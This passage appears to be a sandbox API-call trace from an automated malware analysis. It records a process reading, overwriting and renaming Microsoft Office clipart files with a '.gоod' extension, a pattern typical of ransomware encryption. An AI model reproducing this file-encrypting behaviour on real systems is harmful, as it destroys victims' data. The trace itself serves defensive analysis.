SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0171.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.gоod")) returned 1 [0171.350] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF", lpFilePart=0x0) returned 0x44 [0171.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0171.350] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x34ee9b8 | out: lpFileInformation=0x34ee9b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bc)) returned 1 [0171.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0171.664] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF", lpFilePart=0x0) returned 0x44 [0171.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0171.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0171.664] GetFileType (hFile=0x810) returned 0x1 [0171.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0171.664] GetFileType (hFile=0x810) returned 0x1 [0171.664] GetFileSize (in: hFile=0x810, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x9bc [0171.664] ReadFile (in: hFile=0x810, lpBuffer=0x33933e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x33933e8*, lpNumberOfBytesRead=0x1faedc88*=0x9bc, lpOverlapped=0x0) returned 1 [0171.666] CloseHandle (hObject=0x810) returned 1 [0171.692] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF", lpFilePart=0x0) returned 0x44 [0171.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0171.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0171.693] GetFileType (hFile=0x810) returned 0x1 [0171.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0171.693] GetFileType (hFile=0x810) returned 0x1 [0171.693] WriteFile (in: hFile=0x810, lpBuffer=0x340d8c0*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x340d8c0*, lpNumberOfBytesWritten=0x1faedb98*=0x9c0, lpOverlapped=0x0) returned 1 [0171.694] CloseHandle (hObject=0x810) returned 1 [0171.694] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF", lpFilePart=0x0) returned 0x44 [0171.694] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0171.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0171.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x628bee17, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9c0)) returned 1 [0171.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0171.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.gоod")) returned 1 [0171.696] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF", lpFilePart=0x0) returned 0x44 [0171.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0171.696] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x340eb50 | out: lpFileInformation=0x340eb50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd14)) returned 1 [0171.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0171.696] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF", lpFilePart=0x0) returned 0x44 [0171.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0171.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0171.696] GetFileType (hFile=0x810) returned 0x1 [0171.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0171.696] GetFileType (hFile=0x810) returned 0x1 [0171.696] GetFileSize (in: hFile=0x810, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xd14 [0171.696] ReadFile (in: hFile=0x810, lpBuffer=0x340fb10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x340fb10*, lpNumberOfBytesRead=0x1faedc88*=0xd14, lpOverlapped=0x0) returned 1 [0172.085] CloseHandle (hObject=0x810) returned 1 [0172.112] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF", lpFilePart=0x0) returned 0x44 [0172.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0172.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0172.113] GetFileType (hFile=0x810) returned 0x1 [0172.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0172.114] GetFileType (hFile=0x810) returned 0x1 [0172.114] WriteFile (in: hFile=0x810, lpBuffer=0x358d6e0*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x358d6e0*, lpNumberOfBytesWritten=0x1faedb98*=0xd20, lpOverlapped=0x0) returned 1 [0172.114] CloseHandle (hObject=0x810) returned 1 [0172.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF", lpFilePart=0x0) returned 0x44 [0172.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0172.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0172.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x62cc4da2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd20)) returned 1 [0172.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0172.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.gоod")) returned 1 [0172.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", lpFilePart=0x0) returned 0x44 [0172.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0172.116] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x358e970 | out: lpFileInformation=0x358e970*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c8)) returned 1 [0172.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0172.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", lpFilePart=0x0) returned 0x44 [0172.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0172.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0172.116] GetFileType (hFile=0x810) returned 0x1 [0172.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0172.117] GetFileType (hFile=0x810) returned 0x1 [0173.224] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0173.224] ReadFile (in: hFile=0x810, lpBuffer=0x36947d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x36947d0*, lpNumberOfBytesRead=0x1faedd28*=0xc8, lpOverlapped=0x0) returned 1 [0173.259] CloseHandle (hObject=0x810) returned 1 [0173.259] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", lpFilePart=0x0) returned 0x44 [0173.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0173.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0173.259] GetFileType (hFile=0x810) returned 0x1 [0173.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0173.259] GetFileType (hFile=0x810) returned 0x1 [0173.259] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x10c8 [0173.259] WriteFile (in: hFile=0x810, lpBuffer=0x370ce80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x370ce80*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0173.259] CloseHandle (hObject=0x810) returned 1 [0173.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", lpFilePart=0x0) returned 0x44 [0173.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0173.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0173.260] GetFileType (hFile=0x810) returned 0x1 [0173.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0173.260] GetFileType (hFile=0x810) returned 0x1 [0173.260] ReadFile (in: hFile=0x810, lpBuffer=0x370f140, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x370f140*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0173.287] CloseHandle (hObject=0x810) returned 1 [0173.288] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", lpFilePart=0x0) returned 0x44 [0173.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0173.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0173.288] GetFileType (hFile=0x810) returned 0x1 [0173.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0173.288] GetFileType (hFile=0x810) returned 0x1 [0173.288] WriteFile (in: hFile=0x810, lpBuffer=0x370de98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x370de98*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0173.288] CloseHandle (hObject=0x810) returned 1 [0173.288] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", lpFilePart=0x0) returned 0x44 [0173.288] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0173.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0173.288] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x637f1d43, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10d8)) returned 1 [0173.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0173.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.gоod")) returned 1 [0173.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF", lpFilePart=0x0) returned 0x44 [0173.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0173.290] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x378b530 | out: lpFileInformation=0x378b530*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc9c)) returned 1 [0173.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0173.291] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF", lpFilePart=0x0) returned 0x44 [0173.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0173.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0173.291] GetFileType (hFile=0x810) returned 0x1 [0173.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0173.291] GetFileType (hFile=0x810) returned 0x1 [0173.291] GetFileSize (in: hFile=0x810, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xc9c [0173.291] ReadFile (in: hFile=0x810, lpBuffer=0x378c478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x378c478*, lpNumberOfBytesRead=0x1faedc88*=0xc9c, lpOverlapped=0x0) returned 1 [0173.589] CloseHandle (hObject=0x810) returned 1 [0173.616] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF", lpFilePart=0x0) returned 0x44 [0173.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0173.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0173.618] GetFileType (hFile=0x810) returned 0x1 [0173.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0173.618] GetFileType (hFile=0x810) returned 0x1 [0173.618] WriteFile (in: hFile=0x810, lpBuffer=0x35425f0*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x35425f0*, lpNumberOfBytesWritten=0x1faedb98*=0xca0, lpOverlapped=0x0) returned 1 [0173.619] CloseHandle (hObject=0x810) returned 1 [0173.619] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF", lpFilePart=0x0) returned 0x44 [0173.619] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0173.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0173.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63b38e3c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xca0)) returned 1 [0173.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0173.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.gоod")) returned 1 [0173.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", lpFilePart=0x0) returned 0x44 [0173.620] SetThreadErrorMode (dwNewMode=0x1, 